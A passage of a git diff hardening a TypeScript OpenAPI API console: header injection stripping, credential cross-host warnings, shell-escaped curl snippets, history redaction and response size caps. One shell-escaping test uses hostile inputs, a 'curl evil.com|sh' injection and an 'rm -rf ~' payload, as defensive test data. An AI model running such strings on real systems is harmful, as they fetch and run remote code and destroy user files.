"@/lib/validate-schema" import { findTokenFields } from "@/lib/request-utils" import type { @@ -25,7 +28,12 @@ export function useRequest(getAuthHeaders: () => Record) { const [loading, setLoading] = useState(false) const [response, setResponse] = useState(null) const [error, setError] = useState(null) + // Synchronous mirror of `error` so callers can read the latest failure reason + // immediately after sendRequest resolves null (state updates lag a render). + const errorRef = useRef(null) const abortRef = useRef(null) + // Origins we've already warned about sending credentials to (warn once per host). + const warnedHostsRef = useRef>(new Set()) const validateRequest = useCallback(( route: ParsedRoute, @@ -84,14 +92,16 @@ export function useRequest(getAuthHeaders: () => Record) { ): Promise => { const baseUrl = state.baseUrl.replace(/\/$/, "") if (!baseUrl) { - setError(i18n.t("validation.baseUrl")) + errorRef.current = i18n.t("validation.baseUrl") + setError(errorRef.current) return null } const validationErrors = validateRequest(route, params, body, contentType, formData) const firstValidationError = validationErrors[0] if (firstValidationError) { - setError(firstValidationError.message) + errorRef.current = firstValidationError.message + setError(errorRef.current) return null } @@ -100,12 +110,14 @@ export function useRequest(getAuthHeaders: () => Record) { abortRef.current = controller setLoading(true) + errorRef.current = null setError(null) setResponse(null) let path = route.path const queryParams: string[] = [] - const headers: Record = { ...getAuthHeaders() } + const authHeaders = getAuthHeaders() + const headers: Record = { ...authHeaders } for (const p of route.parameters || []) { let val = params[p.name] ?? "" @@ -116,33 +128,50 @@ export function useRequest(getAuthHeaders: () => Record) { } else if (p.in === "query") { if (val) queryParams.push(`${encodeURIComponent(p.name)}=${encodeURIComponent(val)}`) } else if (p.in === "header") { - if (val) headers[p.name] = val + // Strip CR/LF to prevent header injection from user-supplied values. + if (val) headers[p.name] = val.replace(/[\r\n]/g, "") } } let url = baseUrl + path if (queryParams.length) url += "?" + queryParams.join("&") + // Warn (once per host) before sending credentials to a host the spec didn't declare. + if (Object.keys(authHeaders).length > 0) { + const trusted = (state.spec?.servers ?? []) + .map(s => originOf(resolveServerUrl(s))) + .filter((o): o is string => !!o) + const targetOrigin = originOf(url) + if (targetOrigin && isCrossHostTarget(url, trusted) && !warnedHostsRef.current.has(targetOrigin)) { + warnedHostsRef.current.add(targetOrigin) + toast.warning(i18n.t("toast.credentialCrossHost", { host: targetOrigin })) + } + } + const fetchOpts: RequestInit = { method: route.method.toUpperCase(), headers } let fetchBody: string | FormData | null = null if (route.requestBody) { if (contentType === "multipart/form-data" || contentType === "application/x-www-form-urlencoded") { - const form = new FormData() - if (formData) { - for (const [name, val] of Object.entries(formData)) { - if (val instanceof File) { - form.append(name, val) - } else if (val) { - form.append(name, val) - } - } - } if (contentType === "application/x-www-form-urlencoded") { + // urlencoded can't carry files; encode only string fields honestly. headers["Content-Type"] = "application/x-www-form-urlencoded" - fetchBody = new URLSearchParams(form as unknown as Record).toString() + const usp = new URLSearchParams() + if (formData) { + for (const [name, val] of Object.entries(formData)) { + if (typeof val === "string" && val) usp.append(name, val) + } + } + fetchBody = usp.toString() } else { + const form = new FormData() + if (formData) { + for (const [name, val] of Object.entries(formData)) { + if (val instanceof File) form.append(name, val) + else if (val) form.append(name, val) + } + } fetchBody = form } } else if (body.trim()) { @@ -224,12 +253,13 @@ export function useRequest(getAuthHeaders: () => Record) { setLoading(false) return result } - }, [state.baseUrl, getAuthHeaders, validateRequest]) + }, [state.baseUrl, state.spec?.servers, getAuthHeaders, validateRequest]) return { loading, response, error, + errorRef, sendRequest, validateRequest, findTokenFields, diff --git a/src/hooks/use-settings.ts b/src/hooks/use-settings.ts index 533ec6f..86efda3 100644 --- a/src/hooks/use-settings.ts +++ b/src/hooks/use-settings.ts @@ -1,11 +1,27 @@ import { useEffect, useRef } from "react" import { useOpenAPIContext } from "@/contexts/OpenAPIContext" -import { readLegacySettingsFromLocalStorage } from "@/lib/db" +import { authTypeValue, readLegacySettingsFromLocalStorage } from "@/lib/db" import type { AuthType } from "@/lib/openapi/types" interface AuthSetters { setAuthType: (t: AuthType) => void - setAuthToken: (t: string) => void +} + +// Query params that must never linger in the address bar (history / Referer / proxy logs). +const SENSITIVE_QUERY_PARAMS = ["auth_token", "auth_type"] + +function stripSensitiveQueryParams(): void { + if (typeof window === "undefined" || !window.history?.replaceState) return + try { + const u = new URL(window.location.href) + let changed = false + for (const p of SENSITIVE_QUERY_PARAMS) { + if (u.searchParams.has(p)) { u.searchParams.delete(p); changed = true } + } + if (changed) window.history.replaceState(window.history.state, "", u.toString()) + } catch { + // ignore malformed URL + } } export function useSettings( @@ -30,13 +46,17 @@ export function useSettings( const paramSpecUrl = params.get("openapi_url") || "" const specUrl = paramSpecUrl || legacy.specUrl const baseUrl = params.get("base_url") || (paramSpecUrl ? "" : legacy.baseUrl) - const authType = params.get("auth_type") as AuthType | null - const authToken = params.get("auth_token") || "" + // auth_type is a non-secret selector; validate it instead of casting. The + // auth_token credential is intentionally NOT read from the URL — credentials + // must never travel via query strings (history / Referer / proxy logs). + const authType = authTypeValue(params.get("auth_type")) if (specUrl) dispatch({ type: "SET_SPEC_URL", url: specUrl }) if (baseUrl) dispatch({ type: "SET_BASE_URL", url: baseUrl }) - if (authType && authType !== "none") auth.setAuthType(authType) - if (authToken) auth.setAuthToken(authToken) + if (authType !== "none") auth.setAuthType(authType) + + // Remove sensitive params from the address bar after consuming them. + stripSensitiveQueryParams() const title = params.get("title") if (title) document.title = title diff --git a/src/lib/build-snippet.test.ts b/src/lib/build-snippet.test.ts index 831a6b6..21948ff 100644 --- a/src/lib/build-snippet.test.ts +++ b/src/lib/build-snippet.test.ts @@ -61,6 +61,23 @@ describe("buildSnippet", () => { expect(result).toContain("https://api.test/items") }) + it("escapes single quotes in the curl fallback to prevent shell injection", async () => { + // A relative URL makes httpsnippet-lite throw (new URL fails), exercising the + // hand-rolled curl fallback that must POSIX-escape every interpolation. + const result = await buildSnippet( + "POST", + "/users", + { "X-Evil": "x'; curl evil.com|sh; '" }, + `{"a":"'$(rm -rf ~)'"}`, + "shell-curl", + ) + expect(result).toContain("curl") + // The raw quote-breaking sequence must not survive unescaped. + expect(result).not.toContain("x'; curl evil.com|sh; '") + // POSIX single-quote escaping ('\'') must be present. + expect(result).toContain("'\\''") + }) + it("SNIPPET_TARGETS contains expected entries", () => { const ids = SNIPPET_TARGETS.map(t => t.id) expect(ids).toContain("shell-curl") diff --git a/src/lib/build-snippet.ts b/src/lib/build-snippet.ts index 0e9b2a4..5d3b200 100644 --- a/src/lib/build-snippet.ts +++ b/src/lib/build-snippet.ts @@ -71,12 +71,15 @@ export async function buildSnippet( if (Array.isArray(result)) return result[0] || "" return result || "" } catch { - // Fallback to simple curl - const parts = [`curl -X ${method.toUpperCase()} '${url}'`] + // Fallback to simple curl. Values (url/header/body) may contain user input, + // so POSIX single-quote-escape every interpolation: ' -> '\'' . Without this, + // a value with a quote could close the quote and inject shell when pasted. + const q = (s: string) => `'${s.replace(/'/g, "'\\''")}'` + const parts = [`curl -X ${method.toUpperCase()} ${q(url)}`] for (const [k, v] of Object.entries(headers)) { - parts.push(` -H '${k}: ${v}'`) + parts.push(` -H ${q(`${k}: ${v}`)}`) } - if (body) parts.push(` -d '${body}'`) + if (body) parts.push(` -d ${q(body)}`) return parts.join(" \\\n") } } diff --git a/src/lib/console/schema-inference.test.ts b/src/lib/console/schema-inference.test.ts new file mode 100644 index 0000000..3500ead --- /dev/null +++ b/src/lib/console/schema-inference.test.ts @@ -0,0 +1,60 @@ +import { describe, expect, it } from "vitest" +import { detectPagination, inferListItemSchema } from "@/lib/console/schema-inference" +import type { ParsedRoute, SchemaObject } from "@/lib/openapi/types" + +function routeWithResponse(schema: SchemaObject): ParsedRoute { + return { responses: { "200": { content: { "application/json": { schema } } } } } as unknown as ParsedRoute +} + +describe("detectPagination (allOf / OAS 3.1)", () => { + it("detects items/total on an OAS 3.1 nullable object (type: [object, null])", () => { + const schema: SchemaObject = { + type: ["object", "null"], + properties: { + items: { type: ["array", "null"], items: { type: "object" } }, + total: { type: "integer" }, + }, + } + const p = detectPagination(schema) + expect(p.style).toBe("offset") + expect(p.itemsField).toBe("items") + expect(p.totalField).toBe("total") + }) + + it("detects pagination through an allOf composition", () => { + const schema: SchemaObject = { + allOf: [ + { type: "object", properties: { total: { type: "integer" } } }, + { type: "object", properties: { results: { type: "array", items: { type: "object" } } } }, + ], + } + const p = detectPagination(schema) + expect(p.itemsField).toBe("results") + expect(p.totalField).toBe("total") + }) + + it("returns none when there is no array field", () => { + const p = detectPagination({ type: "object", properties: { name: { type: "string" } } }) + expect(p.style).toBe("none") + }) +}) + +describe("inferListItemSchema (allOf / OAS 3.1)", () => { + it("unwraps an OAS 3.1 nullable array response", () => { + const route = routeWithResponse({ type: ["array", "null"], items: { type: "object", properties: { id: { type: "integer" } } } }) + const { schema } = inferListItemSchema(route) + expect(schema?.properties?.id).toBeDefined() + }) + + it("finds the list item schema inside an allOf paginated response", () => { + const route = routeWithResponse({ + allOf: [ + { type: "object", properties: { total: { type: "integer" } } }, + { type: "object", properties: { items: { type: "array", items: { type: "object", properties: { name: { type: "string" } } } } } }, + ], + }) + const { schema, pagination } = inferListItemSchema(route) + expect(pagination.itemsField).toBe("items") + expect(schema?.properties?.name).toBeDefined() + }) +}) diff --git a/src/lib/console/schema-inference.ts b/src/lib/console/schema-inference.ts index 074d245..c0ac5aa 100644 --- a/src/lib/console/schema-inference.ts +++ b/src/lib/console/schema-inference.ts @@ -1,8 +1,15 @@ import type { ParsedRoute, SchemaObject, ResponseObject } from "@/lib/openapi/types" +import { resolveEffectiveSchema } from "@/lib/openapi/resolve-schema" import type { PaginationConfig } from "./types" +// Normalize a possibly-composed/3.1 schema to a primitive type string. +function normalizedType(schema: SchemaObject): string | undefined { + const t = resolveEffectiveSchema(schema).type + return Array.isArray(t) ? t[0] : t +} + const PAGINATION_ITEMS_FIELDS = ["items", "data", "results", "records", "rows", "list", "content", "entries"] -const PAGINATION_TOTAL_FIELDS = ["total", "count", "total_count", "totalcount", "totalitems", "total_items"] +export const PAGINATION_TOTAL_FIELDS = ["total", "count", "total_count", "totalcount", "totalitems", "total_items"] export function getRequestBodySchema(route: ParsedRoute): SchemaObject | null { const content = route.requestBody?.content @@ -30,20 +37,23 @@ function getResponseSchema(responses: Record): SchemaObj } export function detectPagination(schema: SchemaObject | null): PaginationConfig { - if (!schema || schema.type !== "object" || !schema.properties) { + // Resolve allOf / OAS 3.1 array-type (["object","null"]) before inspecting. + const resolved = schema ? resolveEffectiveSchema(schema) : null + if (!resolved || normalizedType(resolved) !== "object" || !resolved.properties) { return { style: "none", itemsField: null, totalField: null } } let itemsField: string | null = null let totalField: string | null = null - for (const key of Object.keys(schema.properties)) { - const prop = schema.properties[key] + for (const key of Object.keys(resolved.properties)) { + const prop = resolved.properties[key] if (!prop) continue - if (!itemsField && prop.type === "array" && PAGINATION_ITEMS_FIELDS.includes(key.toLowerCase())) { + const propType = normalizedType(prop) + if (!itemsField && propType === "array" && PAGINATION_ITEMS_FIELDS.includes(key.toLowerCase())) { itemsField = key } - if (!totalField && (prop.type === "integer" || prop.type === "number") && PAGINATION_TOTAL_FIELDS.includes(key.toLowerCase())) { + if (!totalField && (propType === "integer" || propType === "number") && PAGINATION_TOTAL_FIELDS.includes(key.toLowerCase())) { totalField = key } } @@ -54,18 +64,20 @@ export function detectPagination(schema: SchemaObject | null): PaginationConfig } export function inferListItemSchema(route: ParsedRoute): { schema: SchemaObject | null; pagination: PaginationConfig } { - const responseSchema = getResponseSchema(route.responses) - if (!responseSchema) return { schema: null, pagination: { style: "none", itemsField: null, totalField: null } } + const raw = getResponseSchema(route.responses) + if (!raw) return { schema: null, pagination: { style: "none", itemsField: null, totalField: null } } + const responseSchema = resolveEffectiveSchema(raw) - if (responseSchema.type === "array" && responseSchema.items) { - return { schema: responseSchema.items, pagination: { style: "none", itemsField: null, totalField: null } } + if (normalizedType(responseSchema) === "array" && responseSchema.items) { + return { schema: responseSchema.items as SchemaObject, pagination: { style: "none", itemsField: null, totalField: null } } } const pagination = detectPagination(responseSchema) if (pagination.itemsField && responseSchema.properties) { const arrayProp = responseSchema.properties[pagination.itemsField] - if (arrayProp?.items) { - return { schema: arrayProp.items, pagination } + const arrayResolved = arrayProp ? resolveEffectiveSchema(arrayProp) : null + if (arrayResolved?.items) { + return { schema: arrayResolved.items as SchemaObject, pagination } } } diff --git a/src/lib/db-specs.test.ts b/src/lib/db-specs.test.ts index 516d23d..535fbe0 100644 --- a/src/lib/db-specs.test.ts +++ b/src/lib/db-specs.test.ts @@ -92,6 +92,13 @@ class FakeIndex { }) return Promise.resolve(entries.length > 0 ? new FakeCursor(entries, 0, this.records) : null) } + + getAll(query?: IDBValidKey): Promise { + return Promise.resolve([...this.records.values()].filter(record => { + if (this.indexName === "specId") return hasSpecId(record) && record.specId === query + return true + })) + } } class FakeStore { @@ -105,6 +112,11 @@ class FakeStore { const entries = [...this.records.entries()] return Promise.resolve(entries.length > 0 ? new FakeCursor(entries, 0, this.records) : null) } + + delete(key: IDBValidKey): Promise { + this.records.delete(key) + return Promise.resolve() + } } class FakeDB { @@ -150,9 +162,11 @@ class FakeDB { return Promise.resolve() } - transaction(storeName: string): { store: FakeStore; done: Promise } { + transaction(storeName: string | string[]): { store: FakeStore; objectStore: (name: string) => FakeStore; done: Promise } { + const first = Array.isArray(storeName) ? storeName[0]! : storeName return { - store: new FakeStore(this.stores[toStoreName(storeName)]), + store: new FakeStore(this.stores[toStoreName(first)]), + objectStore: (name: string) => new FakeStore(this.stores[toStoreName(name)]), done: Promise.resolve(), } } diff --git a/src/lib/db.test.ts b/src/lib/db.test.ts index 004c278..fe7bd7b 100644 --- a/src/lib/db.test.ts +++ b/src/lib/db.test.ts @@ -3,6 +3,8 @@ import { credentialFromLegacyEnvironment, mergeEnvVars, toV6EnvVarRecord, + redactBody, + redactParams, type EnvVarEntry, } from "@/lib/db" @@ -59,3 +61,46 @@ describe("db v6 migration helpers", () => { ]) }) }) + +describe("history redaction", () => { + it("masks sensitive keys in a JSON body, including nested ones", () => { + const out = redactBody(JSON.stringify({ + username: "alice", + password: "hunter2", + data: { access_token: "abc.def.ghi", note: "ok" }, + })) + const parsed = JSON.parse(out!) + expect(parsed.username).toBe("alice") + expect(parsed.password).toBe("***") + expect(parsed.data.access_token).toBe("***") + expect(parsed.data.note).toBe("ok") + }) + + it("masks sensitive keys in urlencoded bodies (OAuth password grant)", () => { + const out = redactBody("grant_type=password&username=alice&password=hunter2") + const sp = new URLSearchParams(out!) + expect(sp.get("username")).toBe("alice") + expect(sp.get("password")).toBe("***") + expect(sp.get("grant_type")).toBe("password") + }) + + it("does not over-redact innocent keys that merely contain a sensitive substring", () => { + const out = redactBody(JSON.stringify({ author: "bob", keyboard: "qwerty" })) + const parsed = JSON.parse(out!) + expect(parsed.author).toBe("bob") + expect(parsed.keyboard).toBe("qwerty") + }) + + it("leaves non-JSON, non-form bodies untouched and passes null through", () => { + expect(redactBody("plain text")).toBe("plain text") + expect(redactBody(null)).toBe(null) + }) + + it("redactParams masks sensitive param names by normalized key", () => { + expect(redactParams({ id: "5", apiKey: "secret123", access_token: "t" })).toEqual({ + id: "5", + apiKey: "***", + access_token: "***", + }) + }) +}) diff --git a/src/lib/db.ts b/src/lib/db.ts index c4f8e31..bca6cf9 100644 --- a/src/lib/db.ts +++ b/src/lib/db.ts @@ -244,7 +244,7 @@ function numberValue(value: unknown, fallback: number): number { return typeof value === "number" && Number.isFinite(value) ? value : fallback } -function authTypeValue(value: unknown): AuthType { +export function authTypeValue(value: unknown): AuthType { const authType = stringValue(value) return authType === "bearer" || authType === "basic" || authType === "apikey" || authType === "oauth2" ? authType @@ -501,6 +501,16 @@ export async function putSpecFromDocument( const db = await getDB() const id = computeSpecId(spec, specUrl) const existing = await db.get("specs", id) as SpecRecord | undefined + // computeSpecId only hashes title@version::origin. If a different document + // collides on that id (different contentHash), its history/favorites/credentials + // were keyed for the old content and may not match — surface it instead of + // silently overwriting. (Primary key intentionally unchanged; no DB migration.) + if (existing && existing.contentHash !== hashSpec(spec)) { + console.warn( + `[apilot] spec "${id}" now has different content than the stored record; ` + + `existing history/favorites/credentials may not align with the new document.`, + ) + } const record = createSpecRecord(spec, specUrl, sourceType, existing ?? null) await db.put("specs", record) return record @@ -527,45 +537,50 @@ export async function touchSpec(specId: string): Promise { await db.put("specs", { ...spec, lastOpenedAt: now, updatedAt: now }) } -async function deleteAllFromIndex(storeName: string, indexName: string, query: IDBValidKey | IDBKeyRange): Promise { - const db = await getDB() - const tx = db.transaction(storeName, "readwrite") - const index = tx.store.index(indexName) - let cursor = await index.openCursor(query) +async function clearByIndex( + store: IDBPObjectStore, + indexName: string, + key: IDBValidKey, +): Promise { + let cursor = await store.index(indexName).openCursor(key) while (cursor) { cursor.delete() cursor = await cursor.continue() } - await tx.done -} - -async function deleteWsHistoryForSpec(specId: string): Promise { - const db = await getDB() - const tx = db.transaction("wsHistory", "readwrite") - let cursor = await tx.store.openCursor() - while (cursor) { - const record = cursor.value as WsHistoryEntry - if (record.specId === specId) cursor.delete() - cursor = await cursor.continue() - } - await tx.done } export async function deleteSpec(specId: string): Promise { const db = await getDB() - const environments = await db.getAllFromIndex("environments", "specId", specId) as EnvironmentProfile[] - - await Promise.all(environments.map(env => db.delete("environmentCredentials", env.id))) - await Promise.all([ - deleteAllFromIndex("environments", "specId", specId), - deleteAllFromIndex("envVars", "specId", specId), - deleteAllFromIndex("favorites", "specId", specId), - deleteAllFromIndex("history", "specId", specId), - deleteWsHistoryForSpec(specId), - deleteAllFromIndex("consoleLayouts", "specId", specId), - db.delete("specSettings", specId), - db.delete("specs", specId), - ]) + // Single atomic transaction across every related store: cascade either fully + // commits or fully rolls back, so a mid-way failure can't leave orphaned records + // (notably orphaned environmentCredentials, which hold tokens). + const tx = db.transaction( + ["environments", "environmentCredentials", "envVars", "favorites", "history", "wsHistory", "consoleLayouts", "specSettings", "specs"], + "readwrite", + ) + + // Credentials are keyed by envId, so resolve this spec's environments first. + const envs = await tx.objectStore("environments").index("specId").getAll(specId) as EnvironmentProfile[] + const credStore = tx.objectStore("environmentCredentials") + for (const env of envs) await credStore.delete(env.id) + + await clearByIndex(tx.objectStore("environments"), "specId", specId) + await clearByIndex(tx.objectStore("envVars"), "specId", specId) + await clearByIndex(tx.objectStore("favorites"), "specId", specId) + await clearByIndex(tx.objectStore("history"), "specId", specId) + await clearByIndex(tx.objectStore("consoleLayouts"), "specId", specId) + + // wsHistory has no specId-only index — scan and match by specId. + const wsStore = tx.objectStore("wsHistory") + let wsCursor = await wsStore.openCursor() + while (wsCursor) { + if ((wsCursor.value as WsHistoryEntry).specId === specId) wsCursor.delete() + wsCursor = await wsCursor.continue() + } + + await tx.objectStore("specSettings").delete(specId) + await tx.objectStore("specs").delete(specId) + await tx.done } export async function getSpecSettings(specId: string): Promise { @@ -629,13 +644,108 @@ function stripSensitiveHeaders(headers: Record): Record = {} + for (const [k, v] of Object.entries(value as Record)) { + out[k] = isSensitiveBodyKey(k) ? "***" : redactDeep(v) + } + return out + } + return value +} + +// Mask credential fields in a request/response body before persisting it. Handles +// JSON and urlencoded (OAuth password grant) bodies; other content is left as-is. +export function redactBody(body: string | null): string | null { + if (!body) return body + const trimmed = body.trim() + if (trimmed.startsWith("{") || trimmed.startsWith("[")) { + try { + return JSON.stringify(redactDeep(JSON.parse(trimmed))) + } catch { + return body + } + } + if (/^[^\s=&]+=/.test(trimmed)) { + try { + const sp = new URLSearchParams(trimmed) + let changed = false + for (const k of [...sp.keys()]) { + if (isSensitiveBodyKey(k)) { sp.set(k, "***"); changed = true } + } + if (changed) return sp.toString() + } catch { + // fall through + } + } + return body +} + +export function redactParams(params: Record): Record { + const out: Record = {} + for (const [k, v] of Object.entries(params)) { + out[k] = isSensitiveBodyKey(k) ? "***" : v + } + return out +} + +// Redact secrets inside a precomputed curl string using the *actual* sensitive +// header values and request body (so custom API-key header names are covered too, +// not just a fixed Authorization/Cookie/X-API-Key list). +function redactCurlCommand( + curl: string, + originalHeaders: Record, + originalBody: string | null, +): string { + let out = curl + for (const [name, value] of Object.entries(originalHeaders)) { + if (!value) continue + if (SENSITIVE_HEADERS.has(name.toLowerCase()) || SENSITIVE_PATTERNS.test(name)) { + out = out.split(value).join("***") + } + } + if (originalBody) { + const redacted = redactBody(originalBody) + if (redacted && redacted !== originalBody) { + out = out.split(originalBody).join(redacted) + } + } + return out +} + export async function addHistoryEntry(entry: Omit): Promise { try { const db = await getDB() + const originalHeaders = entry.response.requestHeaders const sanitized = { ...truncateBody(entry.response) } - sanitized.requestHeaders = stripSensitiveHeaders(sanitized.requestHeaders) - sanitized.curlCommand = sanitized.curlCommand.replace(/(Authorization|Cookie|X-API-Key):\s*[^'"]+/gi, "$1: ***") - await db.add("history", { ...entry, response: sanitized }) + sanitized.requestHeaders = stripSensitiveHeaders(originalHeaders) + // The request body is stored twice (top-level + inside response); redact both, + // plus request params and the response body (may contain access/refresh tokens). + sanitized.requestBody = redactBody(sanitized.requestBody) + sanitized.body = redactBody(sanitized.body) ?? sanitized.body + sanitized.curlCommand = redactCurlCommand(sanitized.curlCommand, originalHeaders, entry.response.requestBody) + await db.add("history", { + ...entry, + requestBody: redactBody(entry.requestBody), + requestParams: redactParams(entry.requestParams), + response: sanitized, + }) } catch (err) { if ((err as DOMException)?.name === "QuotaExceededError") { console.warn("[apilot] Storage quota exceeded, history entry not saved") @@ -762,8 +872,19 @@ export async function getEnvironmentCredential(envId: string): Promise { - const profiles = await getEnvironments(specId) - const credentials = await Promise.all(profiles.map(profile => getEnvironmentCredential(profile.id))) + const db = await getDB() + const profiles = await db.getAllFromIndex("environments", "specId", specId) as EnvironmentProfile[] + if (profiles.length === 0) return [] + // Read all credentials within a single transaction instead of opening one DB + // connection per profile. + const tx = db.transaction("environmentCredentials", "readonly") + const store = tx.objectStore("environmentCredentials") + const credentials = await Promise.all( + profiles.map(async profile => + (await store.get(profile.id) as EnvironmentCredential | undefined) ?? createEmptyEnvironmentCredential(profile.id), + ), + ) + await tx.done return profiles.map((profile, index) => ({ ...profile, ...credentials[index]! })) } @@ -811,12 +932,16 @@ export async function clearWsHistory(specId: string, channelId?: string, envId?: const db = await getDB() const tx = db.transaction("wsHistory", "readwrite") const index = tx.store.index("specId_channelId") - let cursor = await index.openCursor() + // Narrow the cursor to this spec (and channel, if given) instead of scanning the + // whole store. Array sorts after string, so [specId, []] bounds all channels. + const range = channelId + ? IDBKeyRange.only([specId, channelId]) + : IDBKeyRange.bound([specId], [specId, []]) + let cursor = await index.openCursor(range) while (cursor) { const record = cursor.value as WsHistoryEntry - const channelMatches = !channelId || record.channelId === channelId const envMatches = envId === undefined || (record.envId ?? null) === envId - if (record.specId === specId && channelMatches && envMatches) cursor.delete() + if (envMatches) cursor.delete() cursor = await cursor.continue() } await tx.done diff --git a/src/lib/fetch-utils.ts b/src/lib/fetch-utils.ts new file mode 100644 index 0000000..a75882b --- /dev/null +++ b/src/lib/fetch-utils.ts @@ -0,0 +1,51 @@ +// Bounded reading of untrusted responses. A malicious openapi_url (e.g. from a +// share link that auto-loads) could otherwise return a multi-GB body and exhaust +// the tab's memory before parsing even starts. + +export const MAX_SPEC_BYTES = 25 * 1024 * 1024 // 25 MB + +class ResponseTooLargeError extends Error { + constructor(maxBytes: number) { + super(`Response exceeds the maximum allowed size of ${Math.round(maxBytes / (1024 * 1024))} MB`) + this.name = "ResponseTooLargeError" + } +} + +/** + * Read a Response body as text while enforcing a hard byte cap. Rejects early via + * Content-Length when present, otherwise streams and aborts once the cap is hit. + */ +export async function readResponseTextCapped( + response: Response, + maxBytes: number = MAX_SPEC_BYTES, +): Promise { + const declared = response.headers.get("content-length") + if (declared && Number(declared) > maxBytes) { + throw new ResponseTooLargeError(maxBytes) + } + + if (!response.body) { + const text = await response.text() + if (text.length > maxBytes) throw new ResponseTooLargeError(maxBytes) + return text + } + + const reader = response.body.getReader() + const decoder = new TextDecoder() + let received = 0 + let text = "" + for (;;) { + const { done, value } = await reader.read() + if (done) break + if (value) { + received += value.byteLength + if (received > maxBytes) { + await reader.cancel() + throw new ResponseTooLargeError(maxBytes) + } + text += decoder.decode(value, { stream: true }) + } + } + text += decoder.decode() + return text +} diff --git a/src/lib/openapi/diagnostics.ts b/src/lib/openapi/diagnostics.ts index d6ede0b..1d7df09 100644 --- a/src/lib/openapi/diagnostics.ts +++ b/src/lib/openapi/diagnostics.ts @@ -106,7 +106,9 @@ function hasEnumExplanation(schema: SchemaObject): boolean { } function shouldCheckResponseSchema(status: string): boolean { - return /^2\d\d$/.test(status) && status !== "204" && status !== "304" + if (status === "204" || status === "304") return false + // Match explicit 2xx codes plus the OpenAPI "2XX" range shorthand. + return /^2\d\d$/.test(status) || /^2xx$/i.test(status) } function responseHasSchema(response: ResponseObject): boolean { @@ -183,6 +185,9 @@ function scanSchema( }, ) { if (!schema) return + // A bare reference node is a pointer, not a schema to inspect; its target is + // checked where it's defined (and redocly handles unresolved refs separately). + if (typeof schema.$ref === "string") return const location = makePointer(path) if (isEmptySchema(schema)) { @@ -283,6 +288,9 @@ function scanOperation( for (const [status, response] of Object.entries(op.responses || {})) { const responsePath = [...operationPath, "responses", status] + // A referenced response ({$ref}) resolves to a component definition; don't + // flag it as missing a schema (it isn't) or scan the pointer as a schema. + if (typeof response.$ref === "string") continue if (shouldCheckResponseSchema(status) && !responseHasSchema(response)) { addIssue(issues, { code: "missing-response-schema", diff --git a/src/lib/openapi/diff.ts b/src/lib/openapi/diff.ts index df4c61e..ecaeb9f 100644 --- a/src/lib/openapi/diff.ts +++ b/src/lib/openapi/diff.ts @@ -58,15 +58,19 @@ function getKind(diff: Diff): OpenAPIDiffKind | null { if (root !== "paths") return null const method = getPathPart(diff, 2) - if (method && HTTP_METHODS.has(method.toLowerCase()) && diff.path.length === 3) { + const isOperation = !!method && HTTP_METHODS.has(method.toLowerCase()) + if (isOperation && diff.path.length === 3) { return diff.action === "add" ? "endpoint-added" : diff.action === "remove" ? "endpoint-removed" : null } - if (diff.path.includes("requestBody") || diff.path.includes("parameters")) { + // Classify by the structural field, not a substring match anywhere in the path + // (a schema property literally named "responses" must not be misclassified). + // Operation-level fields sit at index 3; path-item-level parameters at index 2. + const field = isOperation ? getPathPart(diff, 3) : getPathPart(diff, 2) + if (field === "requestBody" || field === "parameters") { return "request-schema-changed" } - - if (diff.path.includes("responses")) { + if (field === "responses") { return "response-schema-changed" } diff --git a/src/lib/openapi/generate-example.test.ts b/src/lib/openapi/generate-example.test.ts new file mode 100644 index 0000000..c64f07c --- /dev/null +++ b/src/lib/openapi/generate-example.test.ts @@ -0,0 +1,45 @@ +import { describe, expect, it } from "vitest" +import { generateExample, generateWithVariant } from "@/lib/openapi/generate-example" +import type { SchemaObject } from "@/lib/openapi/types" + +describe("generateExample circular handling", () => { + it("produces a partial example (not null) when a residual circular $ref exists", () => { + const schema: SchemaObject = { + type: "object", + properties: { + name: { type: "string" }, + self: { $ref: "#/components/schemas/Node" }, // residual circular ref + }, + } + const ex = generateExample(schema) as Record | null + expect(ex).not.toBeNull() + expect(ex).toHaveProperty("name") + }) + + it("handles _circular-marked nodes without bailing to null", () => { + const schema: SchemaObject = { + type: "object", + properties: { + id: { type: "integer" }, + ref: { _circular: "#/components/schemas/Node" }, + }, + } + expect(generateExample(schema)).not.toBeNull() + }) +}) + +describe("generateWithVariant boundaries", () => { + it("does not throw and returns a string when minLength > 30 (str-alpha)", () => { + const schema: SchemaObject = { type: "string", minLength: 50 } + expect(() => generateWithVariant(schema, "str-alpha")).not.toThrow() + expect(typeof generateWithVariant(schema, "str-alpha")).toBe("string") + }) +}) + +describe("generateExample numeric bounds", () => { + it("does not throw on inverted exclusive integer bounds", () => { + const schema: SchemaObject = { type: "object", properties: { n: { type: "integer", exclusiveMinimum: 10, exclusiveMaximum: 10 } } } + expect(() => generateExample(schema)).not.toThrow() + expect(generateExample(schema)).not.toBeNull() + }) +}) diff --git a/src/lib/openapi/generate-example.ts b/src/lib/openapi/generate-example.ts index 177a686..c263ec0 100644 --- a/src/lib/openapi/generate-example.ts +++ b/src/lib/openapi/generate-example.ts @@ -8,6 +8,22 @@ import phoneExamples from "libphonenumber-js/mobile/examples" const E164_COUNTRIES: CountryCode[] = ["US", "GB", "CN", "JP", "KR", "DE", "FR", "IN", "AU", "BR"] +// Upper bound for explicit regex quantifiers we are willing to expand. `re.max` +// only caps open-ended quantifiers (*, +, {n,}); a bounded quantifier like +// `a{1000000}` from an untrusted spec would otherwise expand fully and OOM the tab. +const QUANTIFIER_LIMIT = 1000 + +function isSafePattern(pattern: string): boolean { + const re = /\{\s*(\d+)\s*(?:,\s*(\d*)\s*)?\}/g + let m: RegExpExecArray | null + while ((m = re.exec(pattern)) !== null) { + const lo = Number(m[1]) + const hi = m[2] !== undefined && m[2] !== "" ? Number(m[2]) : lo + if (lo > QUANTIFIER_LIMIT || hi > QUANTIFIER_LIMIT) return false + } + return true +} + function randomE164(): string { const country = faker.helpers.arrayElement(E164_COUNTRIES) return generatePhoneForCountry(country) @@ -36,6 +52,7 @@ function fakerForSchema(schema: SchemaObject): unknown { else if (schema.exclusiveMinimum === true && schema.minimum !== undefined) min = Number(schema.minimum) + 1 if (typeof schema.exclusiveMaximum === "number") max = schema.exclusiveMaximum - 1 else if (schema.exclusiveMaximum === true && schema.maximum !== undefined) max = Number(schema.maximum) - 1 + if (min > max) max = min // exclusive bounds can invert the range return faker.number.int({ min, max }) } @@ -47,6 +64,7 @@ function fakerForSchema(schema: SchemaObject): unknown { else if (schema.exclusiveMinimum === true && schema.minimum !== undefined) min = Number(schema.minimum) + 0.01 if (typeof schema.exclusiveMaximum === "number") max = schema.exclusiveMaximum - 0.01 else if (schema.exclusiveMaximum === true && schema.maximum !== undefined) max = 